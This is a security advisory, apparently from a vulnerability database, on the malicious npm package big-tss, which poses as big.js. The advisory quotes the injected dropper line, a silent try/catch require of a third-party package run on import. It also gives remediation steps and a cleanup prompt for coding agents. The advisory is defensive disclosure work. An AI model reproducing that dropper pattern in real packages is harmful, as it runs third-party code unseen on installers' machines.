# MAL-2026-13613: Malicious code in big-tss (npm)


- **Type:** Malicious package
- **Package:** `big-tss` (npm)
- **Published:** 7 Aug 2026

## What is MAL-2026-13613?

MAL-2026-13613 is a malicious package in big-tss, published on 7 Aug 2026. 

### Official description

big-tss@5.0.5 impersonates the popular big.js arbitrary-precision math library and ships upstream big.js source with an injected block at the top of the main module: `try { const doc = require("npm-doc-dev"); doc.from_str() } catch (error) {}`. On any `require('big-tss')` this synchronously loads and executes the top-level code of `npm-doc-dev` — a package outside the big.js publisher — and calls a method on it, with a bare try/catch swallowing any failure so the load is silent. The package.json declares a different dependency name, `npm-dc-dev`, than the code actually requires (`npm-doc-dev`), so the declared dependency tree does not reflect the module that is actually loaded at import time. The name resemblance to big.js, the divergence between declared and required dependency names, and the empty catch around the injected require together form a trojan-dropper pattern in which arbitrary code from a third party is executed on the installer's machine whenever a consumer imports the package.

## What should I do about MAL-2026-13613?

Remove the package from your dependencies and lockfiles, then rotate any secrets on machines where it was installed.

## Fix prompt for AI coding agents

```text
MAL-2026-13613 is a malicious package: big-tss (npm). Every version was published to cause harm.

Task:
1. Search this repository's dependency manifests and lockfiles for the package, including transitive dependencies.
2. If it is present, remove it, regenerate the lockfile with the project's package manager, and replace whatever it was used for.
3. List any CI runners, developer machines or containers that installed it, so their secrets can be rotated.
4. If the package is not used anywhere, say so and change nothing.

Reference: https://insights.sbomify.com/MAL-2026-13613/ (Markdown: https://insights.sbomify.com/MAL-2026-13613/index.md)
```

## Sources

- OSV: https://osv.dev/vulnerability/MAL-2026-13613

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From sbomify Insights: https://insights.sbomify.com/MAL-2026-13613/
Summaries are generated and may contain mistakes; the official description above is the record.